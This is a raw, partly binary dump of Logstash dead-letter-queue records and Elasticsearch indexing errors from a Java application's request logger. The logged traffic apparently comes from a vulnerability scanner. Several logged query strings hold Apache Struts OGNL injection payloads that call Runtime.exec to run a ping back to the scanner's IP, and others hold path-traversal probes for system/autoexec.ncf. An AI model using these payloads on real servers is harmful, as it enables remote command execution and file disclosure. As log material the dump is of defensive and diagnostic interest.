error▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒dhost▒torg.jruby.RubyStringq172.16.
3.86:51001▒juser-agent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1;
Trident/4.0)▒▒▒nconversationId▒torg.jruby.RubyString`▒hclientIp▒torg.jruby.RubyStri
ngk172.16.2.47▒▒▒lresponseInfo▒xorg.logstash.ConvertedMap▒lresponseBody▒torg.jruby.
RubyStringxn{
"timestamp" : "2024-02-10T07:06:52.382+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/"
}▒presponseBodySizenresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒▒▒nconversationId▒torg.jruby.RubyStringx$23bcfd91-3645-454e-8b89-
a2a60a5354d7▒▒▒dhttp▒xorg.logstash.ConvertedMap▒fmethod▒torg.jruby.RubyStringdPOST▒
gversion▒torg.jruby.RubyStringhHTTP/
1.1▒grequest▒xorg.logstash.ConvertedMap▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒tor
g.jruby.RubyStringd4721▒▒▒imime_type▒torg.jruby.RubyStringpapplication/
json▒▒▒▒▒j@timestamp▒vorg.logstash.Timestampx2024-02-
10T07:06:55.141643924Z▒curl▒xorg.logstash.ConvertedMap▒dpath▒torg.jruby.RubyStringa
/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒dhost▒xorg.logstash.Conver
tedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒▒▒dMETA▒xorg.logstash.ConvertedMap▒
einput▒xorg.logstash.ConvertedMap▒dhttp▒xorg.logstash.ConvertedMap▒grequest▒xorg.lo
gstash.ConvertedMap▒gheaders▒xorg.logstash.ConvertedMap▒qsingularityheader▒torg.jru
by.RubyStringy!appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707548812138*btid=673956*guid=587aa253-72f6-46b4-be21-
b694243c16ec*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esubtype=HTT
P*cidto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒khttp_accept▒qorg.jruby.RubyNil▒▒lhttp_version▒torg.jruby.
RubyStringhHTTP/
1.1▒ncontent_length▒torg.jruby.RubyStringd4721▒lcontent_type▒torg.jruby.RubyStringp
application/json▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒lrequest_path▒torg.jruby.RubyStringa/
▒nrequest_method▒torg.jruby.RubyStringdPOST▒ihttp_host▒torg.jruby.RubyStringwlogsta
sh2.drfirst:50581▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒▒▒▒▒▒▒▒▒▒▒▒▒@d8f3488a2b1e6cf
6cf297c67f935fbfed88d292b1b870a64c3de888c50e5elasticsearch
Could not index event to Elasticsearch. status: 400, action: ["index",
{:_id=>nil, :_index=>"logstash-applog2-2024.02.10", :routing=>nil},
{"tags"=>["shipperelkaz66u"], "@version"=>"1", "type"=>"applog2",
"loggerRecord"=>{"startTime"=>"2024-02-10T07:06:52.382Z", "endTime"=>"2024-02-
10T07:06:52.382Z", "appInfo"=>{"serverName"=>"piepaaz02u_51001", "appName"=>"pi2-
epa", "appVersion"=>"1.37.0.1"}, "logEventList"=>[{"startTime"=>"2024-02-
10T07:06:52.382Z", "endTime"=>"2024-02-10T07:06:52.382Z",
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter",
"eventStatus"=>"event-failure", "processPeriodInMs"=>0,
"handlerMethodName"=>"initialLoggerRecord", "eventName"=>"error",
"messageList"=>[]}], "processPeriodInMs"=>0,
"controllerInfo"=>{"actionName"=>"error"}, "requestInfo"=>{"queryMap"=>{"redirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p357a307765627968727a
172.16.2.47').getInputStream())}"=>""}, "userAgent"=>"Mozilla/4.0 (compatible; MSIE
8.0; Windows NT 5.1; Trident/4.0)", "requestBodySize"=>0,
"accessUrl"=>"http://172.16.3.86:51001/error", "tagMap"=>{"queryString"=>"redirect:
$%7b%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23f
%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess
%27%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue
%29%2c@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime
%28%29.exec%28%27ping%20-c%203%20-p357a307765627968727a
%20172.16.2.47%27%29.getInputStream%28%29%29%7d"}, "requestURI"=>"/error",
"httpHeaderMap"=>{"host"=>"172.16.3.86:51001", "user-agent"=>"Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"}, "conversationId"=>"",
"clientIp"=>"172.16.2.47"}, "responseInfo"=>{"responseBody"=>"{\
n \"timestamp\" : \"2024-02-10T07:06:52.382+00:00\",\n \"status\" : 404,\
n \"error\" : \"Not Found\",\n \"path\" : \"/\"\n}", "responseBodySize"=>110,
"responseStatus"=>"999-99-9999"}, "conversationId"=>"23bcfd91-3645-454e-8b89-
a2a60a5354d7"}, "http"=>{"method"=>"POST", "version"=>"HTTP/1.1",
"request"=>{"body"=>{"bytes"=>"4721"}, "mime_type"=>"application/json"}},
"@timestamp"=>2024-02-10T07:06:55.141643924Z, "url"=>{"path"=>"/",
"domain"=>"logstash2.drfirst", "port"=>50581}, "host"=>{"ip"=>"172.16.0.180"}}],
response: {"index"=>{"_index"=>"logstash-applog2-2024.02.10",
"_id"=>"80LXkY0BOuv0w9qUL8uI", "status"=>400,
"error"=>{"type"=>"illegal_argument_exception", "
reason"=>"Limit of mapping depth [20] has been exceeded due to object field
[loggerRecord.requestInfo.queryMap.redirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p357a307765627968727a 172.16.2.47')]"}}}1co▒▒▒▒:j▒2024-02-
10T07:07:35.322849531Z▒▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dtags▒x
org.logstash.ConvertedList▒▒torg.jruby.RubyStringoshipperelkaz66u▒▒▒h@versiona1dtyp
e▒torg.jruby.RubyStringgapplog2▒lloggerRecord▒xorg.logstash.ConvertedMap▒istartTime
▒torg.jruby.RubyStringx2024-02-
10T07:07:34.286Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T07:07:34.286Z▒gappInfo▒xorg.logstash.ConvertedMap▒jserverName▒torg.jruby.RubyStr
ingppiepaaz02u_51001▒gappName▒torg.jruby.RubyStringgpi2-
epa▒jappVersion▒torg.jruby.RubyStringh1.37.0.1▒▒▒llogEventList▒xorg.logstash.Conver
tedList▒▒xorg.logstash.ConvertedMap▒istartTime▒torg.jruby.RubyStringx2024-02-
10T07:07:34.286Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T07:07:34.286Z▒phandlerClassName▒torg.jruby.RubyStringx.com.drfirst.gear.logger.u
til.GearLoggerAdapter▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qprocessPeriodInMshandlerMethodName▒torg.jruby.RubyStringsinitialLoggerReco
rd▒ieventName▒torg.jruby.RubyStringeerror▒kmessageList▒xorg.logstash.ConvertedList▒
▒▒▒▒▒▒qprocessPeriodInMscontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.
jruby.RubyStringeerror▒▒▒krequestInfo▒xorg.logstash.ConvertedMap▒hqueryMap▒xorg.log
stash.ConvertedMap▒xcsys:/novonyx/suitespot/docs/sewse/viewcode.jse httplist
httplist/../../../../../system/autoexec.ncf▒torg.jruby.RubyString`▒▒▒iuserAgent▒tor
g.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒orequestBodySizeaccessUrl▒torg.jruby.RubyStringxhttp://172.16.3.86/
error▒ftagMap▒xorg.logstash.ConvertedMap▒kqueryString▒torg.jruby.RubyStringxcsys:/
novonyx/suitespot/docs/sewse/viewcode.jse+httplist+httplist/../../../../../system/
autoexec.ncf▒▒▒jrequestURI▒torg.jruby.RubyStringf/
error▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒juser-agent▒torg.jruby.RubyStringx?
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒fpragma▒torg.jruby.RubyStringhno-
cache▒faccept▒torg.jruby.RubyStringxCimage/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, image/png, */*▒oaccept-
language▒torg.jruby.RubyStringben▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒naccept-charset▒torg.jruby.RubyStringriso-8859-1,*,utf-
8▒dhost▒torg.jruby.RubyStringk172.16.3.86▒▒▒nconversationId▒torg.jruby.RubyString`▒
hclientIp▒torg.jruby.RubyStringk172.16.2.47▒▒▒lresponseInfo▒xorg.logstash.Converted
Map▒lresponseBody▒torg.jruby.RubyStringx|{
"timestamp" : "2024-02-10T07:07:34.286+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/lcgi/sewse.nlm"
}▒presponseBodySizenresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒▒▒nconversationId▒torg.jruby.RubyStringx$ea72d706-14da-485f-a6cb-
c64749e76903▒▒▒dhttp▒xorg.logstash.ConvertedMap▒fmethod▒torg.jruby.RubyStringdPOST▒
gversion▒torg.jruby.RubyStringhHTTP/
1.1▒grequest▒xorg.logstash.ConvertedMap▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒tor
g.jruby.RubyStringe19316▒▒▒imime_type▒torg.jruby.RubyStringpapplication/
json▒▒▒▒▒j@timestamp▒vorg.logstash.Timestampx2024-02-
10T07:07:35.209498052Z▒curl▒xorg.logstash.ConvertedMap▒dpath▒torg.jruby.RubyStringa
/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒dhost▒xorg.logstash.Conver
tedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒▒▒dMETA▒xorg.logstash.ConvertedMap▒
einput▒xorg.logstash.ConvertedMap▒dhttp▒xorg.logstash.ConvertedMap▒grequest▒xorg.lo
gstash.ConvertedMap▒gheaders▒xorg.logstash.ConvertedMap▒qsingularityheader▒torg.jru
by.RubyStringy!appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707548852205*btid=673956*guid=d88b2f42-10c2-4bfd-b0bb-
82cbf5f0a5f9*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esubtype=HTT
P*cidto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒khttp_accept▒qorg.jruby.RubyNil▒▒lhttp_version▒torg.jruby.
RubyStringhHTTP/
1.1▒ncontent_length▒torg.jruby.RubyStringe19316▒lcontent_type▒torg.jruby.RubyString
papplication/json▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒lrequest_path▒torg.jruby.RubyStringa/
▒nrequest_method▒torg.jruby.RubyStringdPOST▒ihttp_host▒torg.jruby.RubyStringwlogsta
sh2.drfirst:50581▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒▒▒▒▒▒▒▒▒▒▒▒▒@d8f3488a2b1e6cf
6cf297c67f935fbfed88d292b1b870a64c3de888c50elasticsearch ▒Could not index event
to Elasticsearch. status: 400, action: ["index", {:_id=>nil, :_index=>"logstash-
applog2-2024.02.10", :routing=>nil}, {"tags"=>["shipperelkaz66u"], "@version"=>"1",
"type"=>"applog2", "loggerRecord"=>{"startTime"=>"2024-02-10T07:07:34.286Z",
"endTime"=>"2024-02-10T07:07:34.286Z",
"appInfo"=>{"serverName"=>"piepaaz02u_51001", "appName"=>"pi2-epa",
"appVersion"=>"1.37.0.1"}, "logEventList"=>[{"startTime"=>"2024-02-
10T07:07:34.286Z", "endTime"=>"2024-02-10T07:07:34.286Z",
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter",
"eventStatus"=>"event-failure", "processPeriodInMs"=>0,
"handlerMethodName"=>"initialLoggerRecord", "eventName"=>"error",
"messageList"=>[]}], "processPeriodInMs"=>0,
"controllerInfo"=>{"actionName"=>"error"},
"requestInfo"=>{"queryMap"=>{"sys:/novonyx/suitespot/docs/sewse/viewcode.jse
httplist httplist/../../../../../system/autoexec.ncf"=>""},
"userAgent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"requestBodySize"=>0, "accessUrl"=>"http://172.16.3.86/error",
"tagMap"=>{"queryString"=>"sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+
httplist/../../../../../system/autoexec.ncf"}, "requestURI"=>"/error",
"httpHeaderMap"=>{"user-agent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)", "pragma"=>"no-cache", "accept"=>"image/gif, image/x-xbitmap,
image/jpeg, image/pjpeg, image/png, */*", "accept-language"=>"en",
"connection"=>"Keep-Alive", "accept-charset"=>"iso-8859-1,*,utf-8",
"host"=>"172.16.3.86"}, "conversationId"=>"", "clientIp"=>"172.16.2.47"},
"responseInfo"=>{"responseBody"=>"{\n \"timestamp\" : \"2024-02-
10T07:07:34.286+00:00\",\n \"status\" : 404,\n \"error\" : \"Not Found\",\
n \"path\" : \"/lcgi/sewse.nlm\"\n}", "responseBodySize"=>124,
"responseStatus"=>"999-99-9999"}, "conversationId"=>"ea72d706-14da-485f-a6cb-
c64749e76903"}, "http"=>{"method"=>"POST", "version"=>"HTTP/1.1",
"request"=>{"body"=>{"bytes"=>"19316"}, "mime_type"=>"application/json"}},
"@timestamp"=>2024-02-10T07:07:35.209498052Z, "url"=>{"path"=>"/",
"domain"=>"logstash2.drfirst", "port"=>50581}, "host"=>{"ip"=>"172.16.0.180"}}],
response: {"index"=>{"_index"=>"logstash-applog2-2024.02.10",
"_id"=>"d9bXkY0BQvnc9T2qzPMQ", "status"=>400,
"error"=>{"type"=>"mapper_parsing_exception", "
reason"=>"failed to parse", "caused_by"=>{"type"=>"illegal_argument_exception", "
reason"=>"field name cannot contain only whitespace:
['sys:/novonyx/suitespot/docs/sewse/viewcode.jse httplist
httplist/../../../../../system/autoexec.ncf']"}}}}1
X11 forwarding request failed on channel 0
shipperelkaz67u
total 4
drwxr-xr-x 2 logstash logstash 4096 Feb 8 01:03 main
total 4
-rw-r--r-- 1 logstash logstash 1 Feb 8 01:03 1.log.tmp

1
X11 forwarding request failed on channel 0
shipperelkaz68u
total 4
drwxr-xr-x 2 logstash logstash 4096 Feb 8 01:04 main
total 4
-rw-r--r-- 1 logstash logstash 1 Feb 8 01:04 1.log.tmp

1
X11 forwarding request failed on channel 0
shipperelkaz69u
total 4
drwxr-xr-x 2 logstash logstash 4096 Feb 8 01:05 main
total 4
-rw-r--r-- 1 logstash logstash 1 Feb 8 01:05 1.log.tmp

1
X11 forwarding request failed on channel 0
shipperelkaz70u
total 4
drwxr-xr-x 2 logstash logstash 4096 Feb 10 02:04 main
total 28
-rw-r--r-- 1 logstash logstash 6491 Feb 10 01:58 1.log
-rw-r--r-- 1 logstash logstash 7616 Feb 10 02:03 2.log
-rw-r--r-- 1 logstash logstash 6778 Feb 10 02:04 3.log
-rw-r--r-- 1 logstash logstash 1 Feb 10 02:04 4.log.tmp

1cM▒▒▒▒▒▒u2024-02-
10T06:58:51.252608931Z▒▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dhost▒x
org.logstash.ConvertedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒j@timestamp▒vorg
.logstash.Timestampx2024-02-
10T06:58:50.917321540Z▒dtype▒torg.jruby.RubyStringgapplog2▒dtags▒xorg.logstash.Conv
ertedList▒▒torg.jruby.RubyStringoshipperelkaz70u▒▒▒curl▒xorg.logstash.ConvertedMap▒
dpath▒torg.jruby.RubyStringa/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒lloggerRecord▒xorg.logstas
h.ConvertedMap▒krequestInfo▒xorg.logstash.ConvertedMap▒jrequestURI▒torg.jruby.RubyS
tringf/error▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1;
Trident/4.0)▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒faccept▒torg.jruby.RubyStrin
gxCimage/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*▒oaccept-
language▒torg.jruby.RubyStringben▒naccept-charset▒torg.jruby.RubyStringriso-8859-
1,*,utf-8▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒fpragma▒torg.jruby.RubyStringhno-
cache▒dhost▒torg.jruby.RubyStringk172.16.3.85▒juser-agent▒torg.jruby.RubyStringx?
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒▒▒nconversationId▒torg.jruby.RubyString`▒hqueryMap▒xorg.logstash.Conve
rtedMap▒x../../../../system/
autoexec.ncf▒torg.jruby.RubyString`▒▒▒orequestBodySizetagMap▒xorg.logstash.Converte
dMap▒kqueryString▒torg.jruby.RubyStringx/%2e%2e/%2e%2e/%2e%2e/%2e%2e/system/
autoexec.ncf▒▒▒hclientIp▒torg.jruby.RubyStringk172.16.2.47▒iaccessUrl▒torg.jruby.Ru
byStringxhttp://172.16.3.85/
error▒▒▒ncontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.jruby.RubyStrin
geerror▒▒▒nconversationId▒torg.jruby.RubyStringx$2e35562f-b5ff-4c85-8b9c-
20268b863881▒qprocessPeriodInMsresponseInfo▒xorg.logstash.ConvertedMap▒presponseBod
ySize
nresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒lresponseBody▒torg.jruby.RubyStringx▒{
"timestamp" : "2024-02-10T06:58:48.174+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/examples/jsp/source.jsp"
}▒▒▒llogEventList▒xorg.logstash.ConvertedList▒▒xorg.logstash.ConvertedMap▒kmessageL
ist▒xorg.logstash.ConvertedList▒▒▒phandlerClassName▒torg.jruby.RubyStringx.com.drfi
rst.gear.logger.util.GearLoggerAdapter▒qprocessPeriodInMsendTime▒torg.jruby.RubyStr
ingx2024-02-10T06:58:48.174Z▒istartTime▒torg.jruby.RubyStringx2024-02-
10T06:58:48.174Z▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qhandlerMethodName▒torg.jruby.RubyStringsinitialLoggerRecord▒ieventName▒tor
g.jruby.RubyStringeerror▒▒▒▒▒gendTime▒torg.jruby.RubyStringx2024-02-
10T06:58:48.174Z▒istartTime▒torg.jruby.RubyStringx2024-02-
10T06:58:48.174Z▒gappInfo▒xorg.logstash.ConvertedMap▒jappVersion▒torg.jruby.RubyStr
ingh1.37.0.1▒gappName▒torg.jruby.RubyStringgpi2-
epa▒jserverName▒torg.jruby.RubyStringppiepaaz01u_51002▒▒▒▒▒h@versiona1dhttp▒xorg.lo
gstash.ConvertedMap▒grequest▒xorg.logstash.ConvertedMap▒imime_type▒torg.jruby.RubyS
tringpapplication/
json▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒torg.jruby.RubyStringe25956▒▒▒▒▒fmetho
d▒torg.jruby.RubyStringdPOST▒gversion▒torg.jruby.RubyStringhHTTP/
1.1▒▒▒▒▒dMETA▒xorg.logstash.ConvertedMap▒einput▒xorg.logstash.ConvertedMap▒dhttp▒xo
rg.logstash.ConvertedMap▒grequest▒xorg.logstash.ConvertedMap▒gheaders▒xorg.logstash
.ConvertedMap▒ihttp_host▒torg.jruby.RubyStringwlogstash2.drfirst:50581▒khttp_accept
▒qorg.jruby.RubyNil▒▒lrequest_path▒torg.jruby.RubyStringa/
▒ncontent_length▒torg.jruby.RubyStringe25956▒jconnection▒torg.jruby.RubyStringjKeep
-
Alive▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒lcontent_type▒torg.jruby.RubyStringpappl
ication/
json▒nrequest_method▒torg.jruby.RubyStringdPOST▒qsingularityheader▒torg.jruby.RubyS
tringy!appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707548327918*btid=673956*guid=a1cc1555-f117-476f-a1c1-
d20c585039cf*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*eelasticsear
chcid?Could not index event to Elasticsearch. status: 400, action: ["index",
{:_id=>nil, :_index=>"logstash-applog2-2024.02.10", :routing=>nil},
{"host"=>{"ip"=>"172.16.0.180"}, "@timestamp"=>2024-02-10T06:58:50.917321540Z,
"type"=>"applog2", "tags"=>["shipperelkaz70u"], "url"=>{"path"=>"/",
"domain"=>"logstash2.drfirst", "port"=>50581},
"loggerRecord"=>{"requestInfo"=>{"requestURI"=>"/error", "userAgent"=>"Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"httpHeaderMap"=>{"accept"=>"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*", "accept-language"=>"en", "accept-charset"=>"iso-8859-1,*,utf-8",
"connection"=>"Keep-Alive", "pragma"=>"no-cache", "host"=>"172.16.3.85", "user-
agent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"},
"conversationId"=>"", "queryMap"=>{"../../../../system/autoexec.ncf"=>""},
"requestBodySize"=>0,
"tagMap"=>{"queryString"=>"%2e%2e/%2e%2e/%2e%2e/%2e%2e/system/autoexec.ncf"},
"clientIp"=>"172.16.2.47", "accessUrl"=>"http://172.16.3.85/error"},
"controllerInfo"=>{"actionName"=>"error"}, "conversationId"=>"2e35562f-b5ff-4c85-
8b9c-20268b863881", "processPeriodInMs"=>0,
"responseInfo"=>{"responseBodySize"=>133, "responseStatus"=>"999-99-9999",
"responseBody"=>"{\n \"timestamp\" : \"2024-02-10T06:58:48.174+00:00\",\
n \"status\" : 404,\n \"error\" : \"Not Found\",\n \"path\" :
\"/examples/jsp/source.jsp\"\n}"}, "logEventList"=>[{"messageList"=>[],
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter",
"processPeriodInMs"=>0, "endTime"=>"2024-02-10T06:58:48.174Z", "startTime"=>"2024-
02-10T06:58:48.174Z", "eventStatus"=>"event-failure",
"handlerMethodName"=>"initialLoggerRecord", "eventName"=>"error"}],
"endTime"=>"2024-02-10T06:58:48.174Z", "startTime"=>"2024-02-10T06:58:48.174Z",
"appInfo"=>{"appVersion"=>"1.37.0.1", "appName"=>"pi2-epa",
"serverName"=>"piepaaz01u_51002"}}, "@version"=>"1",
"http"=>{"request"=>{"mime_type"=>"application/json", "body"=>{"bytes"=>"25956"}},
"method"=>"POST", "version"=>"HTTP/1.1"}}], response:
{"index"=>{"_index"=>"logstash-applog2-2024.02.10", "_id"=>"CUrPkY0BlOWvilgMzG_c",
"status"=>400, "error"=>{"type"=>"mapper_parsing_exception", "
reason"=>"failed to parse", "caused_by"=>{"type"=>"illegal_argument_exception", "
reason"=>"field name cannot contain only whitespace:
['../../../../system/autoexec.ncf']"}}}}1c▒▒▒▒▒▒c$▒2024-02-
10T07:03:00.726844184Z▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dhost▒xo
rg.logstash.ConvertedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒j@timestamp▒vorg.
logstash.Timestampx2024-02-
10T07:03:00.525375252Z▒dtype▒torg.jruby.RubyStringgapplog2▒dtags▒xorg.logstash.Conv
ertedList▒▒torg.jruby.RubyStringoshipperelkaz70u▒▒▒curl▒xorg.logstash.ConvertedMap▒
dpath▒torg.jruby.RubyStringa/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒lloggerRecord▒xorg.logstas
h.ConvertedMap▒krequestInfo▒xorg.logstash.ConvertedMap▒jrequestURI▒torg.jruby.RubyS
tringf/error▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1;
Trident/4.0)▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒dhost▒torg.jruby.RubyStringq
172.16.3.85:51002▒juser-agent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE
8.0; Windows NT 5.1;
Trident/4.0)▒▒▒nconversationId▒torg.jruby.RubyString`▒hqueryMap▒xorg.logstash.Conve
rtedMap▒yQredirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p7a67417148346b723130
172.16.2.47').getInputStream())}▒torg.jruby.RubyString`▒▒▒orequestBodySizetagMap▒xo
rg.logstash.ConvertedMap▒kqueryString▒torg.jruby.RubyStringy▒redirect:$%7b
%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23f%3d
%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess
%27%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue
%29%2c@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime
%28%29.exec%28%27ping%20-c%203%20-
p7a67417148346b723130%20172.16.2.47%27%29.getInputStream
%28%29%29%7d▒▒▒hclientIp▒torg.jruby.RubyStringk172.16.2.47▒iaccessUrl▒torg.jruby.Ru
byStringxhttp://172.16.3.85:51002/
error▒▒▒ncontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.jruby.RubyStrin
geerror▒▒▒nconversationId▒torg.jruby.RubyStringx$ec2e11ce-deef-4839-b33f-
82ffcb6d02cc▒qprocessPeriodInMsresponseInfo▒xorg.logstash.ConvertedMap▒presponseBod
ySizenresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒lresponseBody▒torg.jruby.RubyStringxn{
"timestamp" : "2024-02-10T07:02:57.825+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/"
}▒▒▒llogEventList▒xorg.logstash.ConvertedList▒▒xorg.logstash.ConvertedMap▒kmessageL
ist▒xorg.logstash.ConvertedList▒▒▒phandlerClassName▒torg.jruby.RubyStringx.com.drfi
rst.gear.logger.util.GearLoggerAdapter▒qprocessPeriodInMsendTime▒torg.jruby.RubyStr
ingx2024-02-10T07:02:57.825Z▒istartTime▒torg.jruby.RubyStringx2024-02-
10T07:02:57.825Z▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qhandlerMethodName▒torg.jruby.RubyStringsinitialLoggerRecord▒ieventName▒tor
g.jruby.RubyStringeerror▒▒▒▒▒gendTime▒torg.jruby.RubyStringx2024-02-
10T07:02:57.825Z▒istartTime▒torg.jruby.RubyStringx2024-02-
10T07:02:57.825Z▒gappInfo▒xorg.logstash.ConvertedMap▒jappVersion▒torg.jruby.RubyStr
ingh1.37.0.1▒gappName▒torg.jruby.RubyStringgpi2-
epa▒jserverName▒torg.jruby.RubyStringppiepaaz01u_51002▒▒▒▒▒h@versiona1dhttp▒xorg.lo
gstash.ConvertedMap▒grequest▒xorg.logstash.ConvertedMap▒imime_type▒torg.jruby.RubyS
tringpapplication/
json▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒torg.jruby.RubyStringd3346▒▒▒▒▒fmethod
▒torg.jruby.RubyStringdPOST▒gversion▒torg.jruby.RubyStringhHTTP/
1.1▒▒▒▒▒dMETA▒xorg.logstash.ConvertedMap▒einput▒xorg.logstash.ConvertedMap▒dhttp▒xo
rg.logstash.ConvertedMap▒grequest▒xorg.logstash.ConvertedMap▒gheaders▒xorg.logstash
.ConvertedMap▒ihttp_host▒torg.jruby.RubyStringwlogstash2.drfirst:50581▒khttp_accept
▒qorg.jruby.RubyNil▒▒lrequest_path▒torg.jruby.RubyStringa/
▒ncontent_length▒torg.jruby.RubyStringd3346▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒lcontent_type▒torg.jruby.RubyStringpappl
ication/
json▒nrequest_method▒torg.jruby.RubyStringdPOST▒qsingularityheader▒torg.jruby.RubyS
tringy!appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707548577528*btid=673956*guid=da59a1a9-aa29-4af8-904c-
7d9d207ade7d*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esuelasticse
archdto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒lhttp_version▒torg.jruby.RubyStringhHTTP/
1.1▒▒▒▒▒▒▒▒▒▒▒▒▒@abf363805a9d403d0868e48c2c6863f7047792e0fd430a1255e9ee10656049bb
Could not index event to Elasticsearch. status: 400, action: ["index",
{:_id=>nil, :_index=>"logstash-applog2-2024.02.10", :routing=>nil},
{"host"=>{"ip"=>"172.16.0.180"}, "@timestamp"=>2024-02-10T07:03:00.525375252Z,
"type"=>"applog2", "tags"=>["shipperelkaz70u"], "url"=>{"path"=>"/",
"domain"=>"logstash2.drfirst", "port"=>50581},
"loggerRecord"=>{"requestInfo"=>{"requestURI"=>"/error", "userAgent"=>"Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
